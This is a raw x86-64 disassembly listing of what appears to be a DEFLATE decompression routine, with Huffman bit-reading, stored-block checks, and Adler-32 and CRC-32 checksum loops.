movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x90]
mov rdx, r12
call fcn.004160ac
cmp word [rsp + 0x90], 0
jne 0x403cde
mov sil, byte [rsp + 0x92]
lea rcx, [rsp + 0x40]
mov rdx, r12
call fcn.004160ac
cmp word [rsp + 0x40], 0
jne 0x403cde
mov r15b, byte [rsp + 0x42]
mov eax, dword [rsp + 0xd34]
cmp eax, 7
ja 0x4033a1
cmp eax, 1
mov r9d, 0
adc r9, 3
and dword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x403389
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x403389
mov edx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd34], eax
jmp 0x403398
mov rcx, r12
call fcn.00416d59
mov esi, dword [rsp + 0x10d50]
mov eax, dword [rsp + 0xd34]
cmp rax, 0x1f
ja 0x40332f
shr eax, 3
mov r9d, 4
sub r9, rax
and dword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x40331a
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x40331a
mov edx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd34], eax
jmp 0x40332f
mov eax, dword [rsp + 0xd34]
test eax, eax
jne 0x4033e7
and dword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
mov r9d, 4
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x4033d8
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x4033d8
mov edx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
shl eax, 3
movzx eax, al
add eax, ecx
mov dword [rsp + 0xd34], eax
jne 0x4033e7
jmp 0x403cde
movzx eax, byte [rsp + 0x13739]
mov r13w, 0x2b
test al, 3
je 0x4031f5
and eax, 3
cmp eax, 2
je 0x40303d
cmp eax, 1
jne 0x4011bf
mov rax, qword [rsp + 0xd40]
sub rax, qword [rsp + 0xd38]
add rax, 0x10000
cmp rax, 0x103
jb 0x4034c4
mov ecx, dword [rsp + 0xd34]
cmp ecx, 8
ja 0x402a8b
mov eax, ecx
and eax, 7
shr ecx, 3
cmp eax, 1
mov r9d, 0
adc r9d, 3
sub r9d, ecx
and dword [rsp + 0x28], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x28]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x402a73
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x402a73
mov edx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea ecx, [rcx + rax*8]
mov dword [rsp + 0xd34], ecx
jmp 0x402a82
mov ecx, dword [rsp + 0xd34]
test ecx, ecx
je 0x4011bf
cmp ecx, 7
jb 0x4011bf
mov r9d, dword [rsp + 0xd30]
mov edx, r9d
shr edx, 7
mov dword [rsp + 0xd30], edx
lea eax, [rcx - 7]
mov dword [rsp + 0xd34], eax
mov r8d, r9d
rol r8b, 4
mov r10d, r8d
and r10b, 0x33
shl r10b, 2
shr r8b, 2
and r8b, 0x33
or r8b, r10b
mov r10d, r8d
and r10b, 0x55
add r10b, r10b
shr r8b, 1
and r8b, 0x54
or r8b, r10b
shr r8b, 1
cmp r8b, 0x18
jae 0x402bba
test r9b, 0x7f
je 0x4031e9
movzx esi, r8b
or esi, 0x100
cmp si, 0x11d
ja 0x4011bf
cmp eax, 0x16
ja 0x402c43
mov ecx, eax
and ecx, 7
shr eax, 3
cmp ecx, 1
mov r9d, 0
adc r9d, 3
sub r9d, eax
and dword [rsp + 0x90], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x140], r14
lea rax, [0x00416018]
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x90]
call fcn.00416041
cmp word [rsp + 0x348], 0
jne 0x402c34
mov rax, qword [rsp + 0x340]
test rax, rax
je 0x402c34
mov edx, dword [rsp + 0x90]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd34], eax
jmp 0x402c43
cmp r8b, 0x5f
ja 0x402bef
test eax, eax
je 0x4011bf
shr r9d, 8
mov dword [rsp + 0xd30], r9d
add ecx, 0xfffffff8
mov dword [rsp + 0xd34], ecx
add r8b, r8b
and dl, 1
or dl, r8b
add dl, 0xd0
jmp 0x402d57
cmp r8b, 0x64
jae 0x402d22
test eax, eax
je 0x4011bf
shr r9d, 8
mov dword [rsp + 0xd30], r9d
add ecx, 0xfffffff8
mov dword [rsp + 0xd34], ecx
add r8b, r8b
and r8b, 0x3e
and dl, 1
or dl, r8b
movzx esi, dl
add esi, 0x118
mov eax, ecx
jmp 0x402afc
mov eax, dword [rsp + 0xd34]
test eax, eax
je 0x4011bf
movzx ecx, si
add ecx, 0xff
movzx ecx, cx
movzx ecx, cl
lea rdx, [0x004c7488]
mov r8, qword [rdx + rcx*8]
mov esi, r8d
shr esi, 0x10
shr r8, 0x30
test r8b, 0xf
je 0x402c92
lea rcx, [rsp + 0x40]
mov rdx, r12
call fcn.00416d6a
cmp word [rsp + 0x42], 0
jne 0x4011bf
add si, word [rsp + 0x40]
mov eax, dword [rsp + 0xd34]
cmp eax, 5
jb 0x4011bf
mov r8d, dword [rsp + 0xd30]
mov ecx, r8d
shr ecx, 5
mov dword [rsp + 0xd30], ecx
add eax, 0xfffffffb
mov dword [rsp + 0xd34], eax
rol r8b, 4
mov eax, r8d
and al, 0x33
shl al, 2
shr r8b, 2
and r8b, 0x33
or r8b, al
mov eax, r8d
and al, 0x54
add al, al
shr r8b, 1
and r8b, 0x50
or r8b, al
shr r8b, 3
lea rcx, [rsp + 0x28]
mov rdx, r12
call fcn.00416dab
cmp word [rsp + 0x2a], 0
jne 0x4011bf
movzx r8d, word [rsp + 0x28]
lea rcx, [rsp + 0xd38]
mov edx, esi
call fcn.00416e26
test ax, ax
je 0x4029ab
jmp 0x4011bf
cmp eax, 2
jb 0x4011bf
shr r9d, 9
mov dword [rsp + 0xd30], r9d
add ecx, 0xfffffff7
mov dword [rsp + 0xd34], ecx
mov eax, edx
and al, 2
add dl, dl
shr al, 1
or al, dl
and al, 3
shl r8b, 2
or r8b, al
mov edx, r8d
mov rax, qword [rsp + 0xd38]
movzx ecx, ax
mov byte [rsp + rcx + 0xd48], dl
inc rax
mov qword [rsp + 0xd38], rax
jmp 0x4029ab
cmp esi, 0x13
lea r14, [rsp + 0xd28]
ja 0x402e20
mov eax, esi
and eax, 7
shr esi, 3
cmp eax, 1
mov r9d, 0
adc r9d, 3
sub r9d, esi
and dword [rsp + 0x8c], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x40], rax
lea rax, [0x00416018]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x8c]
call fcn.00416041
cmp word [rsp + 0x30], 0
jne 0x402e4e
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x402e4e
mov edx, dword [rsp + 0x8c]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd34], eax
cmp r15b, 0x1c
jbe 0x402e66
jmp 0x4011bf
mov rax, qword [rsp + 0xd38]
movzx ecx, ax
mov byte [rsp + rcx + 0xd48], r15b
inc rax
mov qword [rsp + 0xd38], rax
jmp 0x40303d
cmp r15b, 0x1c
ja 0x4011bf
cmp dword [rsp + 0xd34], 0
je 0x4011bf
movzx eax, r15b
lea rcx, [0x004c7488]
mov r8, qword [rcx + rax*8]
mov r15d, r8d
shr r15d, 0x10
shr r8, 0x30
test r8b, 0xf
je 0x402ea5
lea rcx, [rsp + 0x74]
mov rdx, r14
call fcn.00416d6a
cmp word [rsp + 0x76], 0
jne 0x4011bf
add r15w, word [rsp + 0x74]
mov r12d, dword [rsp + 0xd30]
mov eax, r12d
rol ax, 8
mov ecx, eax
shr ecx, 4
mov edx, 0xf0f
and ecx, edx
and eax, edx
shl eax, 4
or eax, ecx
mov ecx, eax
mov edx, 0x3333
and ecx, edx
shr eax, 2
and eax, edx
lea eax, [rax + rcx*4]
mov ecx, eax
and ecx, 0x5555
shr eax, 1
and eax, 0x5554
lea r8d, [rax + rcx*2]
shr r8d, 1
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x12648]
call fcn.00416fad
cmp word [rsp + 0x348], 0
jne 0x4011bf
mov esi, dword [rsp + 0x340]
mov ecx, esi
shr ecx, 8
and ecx, 0xf
mov eax, dword [rsp + 0xd34]
sub eax, ecx
jb 0x4011bf
shr r12d, cl
mov r14d, dword [rsp + 0x344]
mov dword [rsp + 0xd30], r12d
mov dword [rsp + 0xd34], eax
cmp eax, 0xc
lea r12, [rsp + 0xd28]
ja 0x402ffb
mov ecx, eax
and ecx, 7
shr eax, 3
cmp ecx, 1
mov r9d, 0
adc r9d, 3
sub r9d, eax
and dword [rsp + 0x70], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
lea rax, [0x00416018]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x50]
lea r8, [rsp + 0x70]
call fcn.00416041
cmp word [rsp + 0x148], 0
jne 0x402fed
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x402fed
mov edx, dword [rsp + 0x70]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea eax, [rcx + rax*8]
mov dword [rsp + 0xd34], eax
jmp 0x402ffb
cmp dword [rsp + 0xd34], 0
je 0x4011bf
shl r14, 0x20
or rsi, r14
lea rcx, [rsp + 0x3c]
mov rdx, r12
mov r8d, esi
call fcn.00416dab
cmp word [rsp + 0x3e], 0
jne 0x4011bf
movzx r8d, word [rsp + 0x3c]
lea rcx, [rsp + 0xd38]
mov edx, r15d
call fcn.00416e26
test ax, ax
jne 0x4011bf
mov rax, qword [rsp + 0xd40]
sub rax, qword [rsp + 0xd38]
add rax, 0x10000
cmp rax, 0x103
jb 0x4034c4
mov esi, dword [rsp + 0xd34]
cmp esi, 0xe
ja 0x403128
mov eax, esi
and eax, 7
shr esi, 3
cmp eax, 1
mov r9d, 0
adc r9d, 3
sub r9d, esi
and dword [rsp + 0xbc], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xc0], rax
lea rax, [0x00416018]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0xbc]
call fcn.00416041
cmp word [rsp + 0x98], 0
jne 0x403119
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x403119
mov edx, dword [rsp + 0xbc]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea esi, [rcx + rax*8]
mov dword [rsp + 0xd34], esi
jmp 0x403128
mov esi, dword [rsp + 0xd34]
test esi, esi
je 0x4011bf
mov r12d, dword [rsp + 0xd30]
mov eax, r12d
rol ax, 8
mov ecx, eax
shr ecx, 4
mov edx, 0xf0f
and ecx, edx
and eax, edx
shl eax, 4
or eax, ecx
mov ecx, eax
mov edx, 0x3333
and ecx, edx
shr eax, 2
and eax, edx
lea eax, [rax + rcx*4]
mov ecx, eax
and ecx, 0x5555
shr eax, 1
and eax, 0x5554
lea r8d, [rax + rcx*2]
shr r8d, 1
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x10d58]
call fcn.00416f0f
cmp word [rsp + 0x348], 0
jne 0x4011bf
mov r15d, dword [rsp + 0x340]
mov ecx, r15d
shr ecx, 8
and ecx, 0xf
sub esi, ecx
jb 0x4011bf
mov eax, dword [rsp + 0x344]
shl rax, 0x20
or r15, rax
shr r12d, cl
mov dword [rsp + 0xd30], r12d
mov dword [rsp + 0xd34], esi
mov rax, r15
shr rax, 0xc
test al, 3
je 0x402e2b
and eax, 3
cmp eax, 2
je 0x402d79
lea rax, [0x00494ae6]
jmp 0x4034cb
mov rcx, r12
call fcn.00416d59
lea rcx, [rsp + 0x28]
mov rdx, r12
call fcn.00416c54
cmp word [rsp + 0x2a], 0
jne 0x4011bf
movzx esi, word [rsp + 0x28]
mov rcx, r14
mov rdx, r12
call fcn.00416c54
cmp word [rsp + 0x52], 0
jne 0x4011bf
movzx eax, word [rsp + 0x50]
xor ax, si
cmp ax, 0xffff
jne 0x4011bf
test si, si
je 0x4034b9
movzx eax, si
mov rcx, qword [rsp + 0xd38]
movzx edx, cx
mov r15d, 0x10000
sub r15, rdx
cmp rax, r15
cmovb r15, rax
add rcx, r15
mov qword [rsp + 0xd38], rcx
lea rax, [rsp + 0xd48]
add rdx, rax
mov r8d, dword [rsp + 0xd30]
mov eax, dword [rsp + 0xd34]
add eax, 0xfffffff8
xor ecx, ecx
cmp eax, 0xfffffff8
je 0x4032c4
cmp r15, rcx
jbe 0x4032c4
mov r9d, r8d
shr r9d, 8
mov dword [rsp + 0xd30], r9d
mov dword [rsp + 0xd34], eax
mov byte [rdx + rcx], r8b
inc rcx
add eax, 0xfffffff8
mov r8d, r9d
jmp 0x403295
mov rax, qword [rsp + 0xd28]
add rdx, rcx
mov r8, r15
sub r8, rcx
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x340], rax
lea rax, [0x00416018]
mov qword [rsp + 0x348], rax
lea rcx, [rsp + 0x340]
call fcn.00416d15
sub esi, r15d
test ax, ax
je 0x403244
jmp 0x4011bf
mov eax, dword [rsp + 0xd34]
movabs rcx, 0x1a00000000
test eax, eax
je 0x40334e
movabs rcx, 0x1a00000000
cmp eax, 0x20
jne 0x40334e
mov ecx, dword [rsp + 0xd30]
and qword [rsp + 0xd30], 0
bswap esi
mov rax, rcx
shr rax, 0x20
cmp esi, ecx
mov edx, 0x59
mov r8d, 0
cmove edx, r8d
test rax, rax
cmove eax, edx
jne 0x4034fa
cmp esi, ecx
jne 0x4034fa
mov byte [rsp + 0x1373a], 4
jmp case.0x402739.4
mov eax, dword [rsp + 0xd34]
test eax, eax
je 0x403cde
cmp eax, 7
jbe 0x403cde
shr dword [rsp + 0xd30], 8
add eax, 0xfffffff8
mov dword [rsp + 0xd34], eax
cmp sil, 8
jne 0x403cde
shl r15b, 4
sar r15b, 4
js 0x403cde
mov byte [rsp + 0x1373a], 1
jmp case.0x402739.4
mov eax, dword [rsp + 0xd34]
test eax, eax
je 0x403cde
mov ecx, dword [rsp + 0xd30]
mov edx, ecx
shr edx, 1
mov dword [rsp + 0xd30], edx
dec eax
mov dword [rsp + 0xd34], eax
and ecx, 1
mov byte [rsp + 0x90], cl
mov byte [rsp + 0x13738], cl
lea rcx, [rsp + 0x40]
mov rdx, r12
call fcn.00416164
cmp word [rsp + 0x40], 0
jne 0x403cde
mov al, byte [rsp + 0x42]
mov byte [rsp + 0x13739], al
mov byte [rsp + 0x1373a], 2
cmp al, 2
jne case.0x402739.4
lea rcx, [rsp + 0x8c]
mov rdx, r12
call fcn.0041621c
movzx eax, word [rsp + 0x8c]
test ax, ax
jne 0x4034aa
movzx esi, byte [rsp + 0x8e]
lea rcx, [rsp + 0x74]
lea rdx, [rsp + 0xd28]
call fcn.0041621c
movzx eax, word [rsp + 0x74]
test ax, ax
jne 0x4034aa
movzx r15d, byte [rsp + 0x76]
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xd28]
call fcn.004160ac
movzx eax, word [rsp + 0x70]
test ax, ax
je 0x403508
lea r14, [rsp + 0x50]
lea r12, [rsp + 0xd28]
jmp 0x4034fa
test byte [0x00494ae6], 1
jne 0x4034dd
jmp case.0x402739.4
lea rax, [0x00494aea]
test byte [rax], 1
lea r14, [rsp + 0x50]
lea r12, [rsp + 0xd28]
je case.0x402739.4
xor eax, eax
test byte [rsp + 0x13738], 1
setne al
lea eax, [rax*2 + 1]
mov byte [rsp + 0x1373a], al
xor eax, eax
test ax, ax
je 0x40392e
jmp 0x403cde
mov ax, 0x61
cmp sil, 0x1d
ja 0x4034aa
cmp r15b, 0x1d
ja 0x4034aa
mov eax, esi
add eax, 0x101
mov dword [rsp + 0xb0], eax
movaps xmmword [rsp + 0x50], xmm6
and dword [rsp + 0x5f], 0
movzx eax, byte [rsp + 0x72]
mov eax, eax
lea r14, [rax*4 + 0x10]
xor r12d, r12d
cmp r14, r12
je 0x403581
lea rax, [0x00494a98]
mov r13d, dword [r12 + rax]
lea rcx, [rsp + 0x3c]
lea rdx, [rsp + 0xd28]
call fcn.004162d4
movzx eax, word [rsp + 0x3c]
test ax, ax
jne 0x4034aa
mov al, byte [rsp + 0x3e]
mov byte [rsp + r13 + 0x50], al
add r12, 4
jmp 0x403542
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x50]
call fcn.0041638c
test ax, ax
jne 0x4034aa
mov r8d, 0x13c
lea rcx, [rsp + 0x140]
xor edx, edx
call fcn.0046bf36
movzx eax, si
movzx ecx, r15w
lea r14d, [rax + rcx]
add r14d, 0x102
xor r15d, r15d
cmp r15, r14
jae 0x4038cf
mov esi, dword [rsp + 0xd34]
cmp esi, 6
ja 0x403672
cmp esi, 1
mov r9d, 0
adc r9, 3
and dword [rsp + 0x78], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
lea rax, [0x00416018]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x78]
call fcn.00416041
cmp word [rsp + 0x30], 0
jne 0x403663
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x403663
mov edx, dword [rsp + 0x78]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea esi, [rcx + rax*8]
mov dword [rsp + 0xd34], esi
jmp 0x403672
mov esi, dword [rsp + 0xd34]
test esi, esi
je 0x4038c6
mov r13d, dword [rsp + 0xd30]
mov eax, r13d
rol al, 4
mov ecx, eax
and cl, 0x33
shl cl, 2
shr al, 2
and al, 0x33
or al, cl
mov ecx, eax
and cl, 0x55
add cl, cl
shr al, 1
and al, 0x54
or al, cl
shr al, 1
movzx r8d, al
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x340]
call fcn.0041666a
movzx eax, word [rsp + 0x98]
test ax, ax
jne 0x4034aa
mov eax, dword [rsp + 0x90]
mov ecx, eax
shr ecx, 8
and ecx, 0xf
sub esi, ecx
jb 0x4038c6
mov edx, dword [rsp + 0x94]
shl rdx, 0x20
shr r13d, cl
or rax, rdx
mov dword [rsp + 0xd30], r13d
mov dword [rsp + 0xd34], esi
cmp al, 0x10
je 0x4037ec
movzx ecx, al
cmp ecx, 0x11
je 0x4037b4
cmp ecx, 0x12
jne 0x403861
cmp esi, 6
ja 0x403893
cmp esi, 1
mov r9d, 0
adc r9, 3
and dword [rsp + 0x78], 0
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
lea rax, [0x00416018]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea r8, [rsp + 0x78]
call fcn.00416041
cmp word [rsp + 0x30], 0
jne 0x40387b
mov rax, qword [rsp + 0x28]
test rax, rax
je 0x40387b
mov edx, dword [rsp + 0x78]
mov ecx, dword [rsp + 0xd34]
shl edx, cl
or dword [rsp + 0xd30], edx
and eax, 0x1f
lea esi, [rcx + rax*8]
mov dword [rsp + 0xd34], esi
jmp 0x403886
lea rcx, [rsp + 0xa8]
lea rdx, [rsp + 0xd28]
call fcn.004162d4
movzx eax, word [rsp + 0xa8]
test ax, ax
jne 0x4034aa
movzx r13d, byte [rsp + 0xaa]
add r13, 3
jmp 0x4038be
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0xd28]
call fcn.00416164
movzx eax, word [rsp + 0xa0]
test ax, ax
jne 0x4034aa
mov ax, 0x61
test r15, r15
je 0x4034aa
movzx r13d, byte [rsp + 0xa2]
lea rcx, [r15 + r13]
add rcx, 3
cmp rcx, 0x13c
ja 0x4034aa
add r13, 3
lea rax, [rsp + r15]
add rax, 0x140
xor ecx, ecx
cmp r13, rcx
je 0x4038be
mov dl, byte [rax + rcx - 1]
and dl, 0xf
mov byte [rax + rcx], dl
inc rcx
jmp 0x40384d
test al, 0xf0
jne 0x403925
and al, 0xf
mov byte [rsp + r15 + 0x140], al
mov r13d, 1
jmp 0x4038be
mov esi, dword [rsp + 0xd34]
test esi, esi
je 0x4038c6
cmp esi, 7
jb 0x4038c6
mov r13d, dword [rsp + 0xd30]
mov eax, r13d
shr eax, 7
mov dword [rsp + 0xd30], eax
add esi, 0xfffffff9
mov dword [rsp + 0xd34], esi
mov eax, r13d
and al, 0x7f
mov byte [rsp + 0xbc], al
and r13d, 0x7f
add r13, 0xb
add r15, r13
jmp 0x4035c6
mov ax, 0x1a
jmp 0x4034aa
mov ax, 0x61
ja 0x4034aa
movzx esi, word [rsp + 0xb0]
lea rcx, [rsp + 0x10d58]
lea rdx, [rsp + 0x140]
mov r8, rsi
call fcn.00416709
test ax, ax
jne 0x4034aa
lea rdx, [rsp + rsi]
add rdx, 0x140
sub r14, rsi
lea rcx, [rsp + 0x12648]
mov r8, r14
call fcn.004169ef
jmp 0x4034aa
mov ax, 0x61
jmp 0x4034aa
lea rcx, [rsp + 0xd38]
mov rdx, rdi
call fcn.0041704b
mov r8, rax
mov r13, rdx
test rdx, rdx
jne 0x4039a0
mov al, byte [rsp + 0x1373a]
mov ecx, eax
and cl, 7
cmp cl, 4
jne 0x402725
jmp 0x403cb9
lea rcx, [rsp + 0x130]
lea rdx, [rsp + 0xbc0]
mov r8, qword [rsp + 0x68]
mov r9, rdi
call fcn.0040a66a
movzx r13d, word [rsp + 0x138]
test r13w, r13w
jne 0x4011bf
mov r13, qword [rsp + 0x130]
jmp 0x403cc9
mov ecx, dword [rsp + 0x10d50]
movzx r9d, cx
shr ecx, 0x10
cmp r13, 1
jne 0x403a3e
movzx eax, byte [r8]
add r9d, eax
mov edx, 0xffff000f
lea eax, [r9 + rdx]
mov r10d, 0xfff1
cmp r9d, r10d
cmovb eax, r9d
add ecx, eax
add edx, ecx
cmp ecx, r10d
cmovb edx, ecx
mov ecx, edx
mov r9d, eax
jmp 0x403c97
mov ecx, dword [rsp + 0x10d58]
xor edx, edx
lea r9, [0x004c9370]
cmp r13, rdx
je 0x403a1c
mov r8b, byte [rax + rdx]
xor r8b, cl
movzx r8d, r8b
shr ecx, 8
xor ecx, dword [r9 + r8*4]
mov dword [rsp + 0x10d58], ecx
inc rdx
jmp 0x4039f9
add qword [rsp + 0x10d50], r13
lea r14, [rsp + 0x50]
lea r12, [rsp + 0xd28]
mov rcx, qword [rsp + 0x68]
mov rdx, rax
jmp 0x403cc1
cmp r13, 0x10
jae 0x403a5f
xor eax, eax
cmp r13, rax
je 0x403b6a
movzx edx, byte [r8 + rax]
add r9d, edx
add ecx, r9d
inc rax
jmp 0x403a46
mov r10, r8
xor eax, eax
mov edi, 0xfff1
lea r11, [rax + 0x15b0]
cmp r11, r13
ja 0x403b8d
mov eax, 0xf
cmp rax, 0x15bf
je 0x403b49
movzx edx, byte [r10 + rax - 0xf]
add r9d, edx
add ecx, r9d
movzx edx, byte [r10 + rax - 0xe]
add edx, r9d
add ecx, edx
movzx r9d, byte [r10 + rax - 0xd]
add r9d, edx
add ecx, r9d
movzx edx, byte [r10 + rax - 0xc]
add edx, r9d
add ecx, edx
movzx r9d, byte [r10 + rax - 0xb]
add r9d, edx
add ecx, r9d
movzx edx, byte [r10 + rax - 0xa]
add edx, r9d
add ecx, edx
movzx r9d, byte [r10 + rax - 9]
add r9d, edx
add ecx, r9d
movzx edx, byte [r10 + rax - 8]
add edx, r9d
add ecx, edx
movzx r9d, byte [r10 + rax - 7]
add r9d, edx
add ecx, r9d
movzx edx, byte [r10 + rax - 6]
add edx, r9d
add ecx, edx
movzx r9d, byte [r10 + rax - 5]
add r9d, edx
add ecx, r9d
movzx edx, byte [r10 + rax - 4]
add edx, r9d
add ecx, edx
movzx r9d, byte [r10 + rax - 3]
add r9d, edx
add ecx, r9d
movzx edx, byte [r10 + rax - 2]
add edx, r9d
add ecx, edx
movzx esi, byte [r10 + rax - 1]
add esi, edx
add ecx, esi
movzx r9d, byte [r10 + rax]
add r9d, esi
add ecx, r9d
add rax, 0x10
jmp 0x403a7e
mov eax, r9d
xor edx, edx
div edi
mov r9d, edx
mov eax, ecx
xor edx, edx
div edi
add r10, 0x15b0
mov rax, r11
mov ecx, edx
jmp 0x403a69
lea r10d, [r9 - 0xfff1]
mov r11d, 0xfff1
cmp r9d, r11d
cmovb r10d, r9d
mov eax, ecx
xor edx, edx
div r11d
mov r9d, r10d
jmp 0x403c95
cmp rax, r13
jae 0x403c97
lea rdx, [rax + 0x10]
cmp rdx, r13
ja 0x403c78
movzx r10d, byte [r8 + rax]
add r9d, r10d
add ecx, r9d
movzx r10d, byte [r8 + rax + 1]
add r10d, r9d
add ecx, r10d
movzx r9d, byte [r8 + rax + 2]
add r9d, r10d
add ecx, r9d
movzx r10d, byte [r8 + rax + 3]
add r10d, r9d
add ecx, r10d
movzx r9d, byte [r8 + rax + 4]
add r9d, r10d
add ecx, r9d
movzx r10d, byte [r8 + rax + 5]
add r10d, r9d
add ecx, r10d
movzx r9d, byte [r8 + rax + 6]
add r9d, r10d
add ecx, r9d
movzx r10d, byte [r8 + rax + 7]
add r10d, r9d
add ecx, r10d
movzx r9d, byte [r8 + rax + 8]
add r9d, r10d
add ecx, r9d
movzx r10d, byte [r8 + rax + 9]
add r10d, r9d
add ecx, r10d
movzx r9d, byte [r8 + rax + 0xa]
add r9d, r10d
add ecx, r9d
movzx r10d, byte [r8 + rax + 0xb]
add r10d, r9d
add ecx, r10d
movzx r9d, byte [r8 + rax + 0xc]
add r9d, r10d
add ecx, r9d
movzx r10d, byte [r8 + rax + 0xd]
add r10d, r9d
add ecx, r10d
movzx r11d, byte [r8 + rax + 0xe]
add r11d, r10d
add ecx, r11d
movzx r9d, byte [r8 + rax + 0xf]
add r9d, r11d
add ecx, r9d
mov rax, rdx
jmp 0x403b96
movzx edx, byte [r8 + rax]
add r9d, edx
add ecx, r9d
inc rax
cmp rax, r13
jb 0x403c6a
mov eax, r9d
xor edx, edx
mov r10d, 0xfff1
div r10d
mov r9d, edx
mov eax, ecx
xor edx, edx
div r10d
mov ecx, edx
shl ecx, 0x10
or ecx, r9d
mov dword [rsp + 0x10d50], ecx
add qword [rsp + 0x10d48], r13
lea r14, [rsp + 0x50]
lea r12, [rsp + 0xd28]
mov rcx, qword [rsp + 0x68]
mov rdx, r8
mov r8, r13
call fcn.0046bf16
test r13, r13
mov rdi, qword [rsp + 0x100]
je 0x403ce8
add rbp, r13
jmp 0x40141c
mov r13w, 0x2b
jmp 0x4011bf
lea rsi, [rsp + 0xd08]
lea rdi, [rsp + 0x108]
mov al, byte [rsp + 0xd24]
and al, 0xf
cmp al, 5
ja 0x403d6a
mov rcx, qword [rsp + 0xc98]
call fcn.00409d5f
test ax, ax
jne 0x4044f1
mov rcx, qword [rsp + 0xc98]
call fcn.00409dd8
mov r9, rdx
mov rcx, rdi
mov rdx, rsi
mov r8, rax
call fcn.00409df9
movzx r13d, word [rsp + 0x10c]
test r13w, r13w
jne 0x4011bf
mov eax, dword [rsp + 0x108]
mov rcx, qword [rsp + 0xc98]
add ax, word [rcx + 0x22]
and eax, 0x7fff
mov word [rcx + 0x22], ax
jmp 0x403cf8
xor r13d, r13d
mov dword [rsp + 0x84], 0
xor edi, edi
xor r15d, r15d
lea rbp, fcn.004085c4
cmp r15, 0x100
mov qword [rsp + 0x68], r13
je 0x404378
mov rax, qword [rsp + 0xd8]
lea rax, [rax + r15*4]
mov qword [rsp + 0xb0], rax
test edi, edi
je 0x403df4
mov eax, dword [rsp + 0x84]
mov r14d, eax
mov qword [rsp + 0xe0], r14
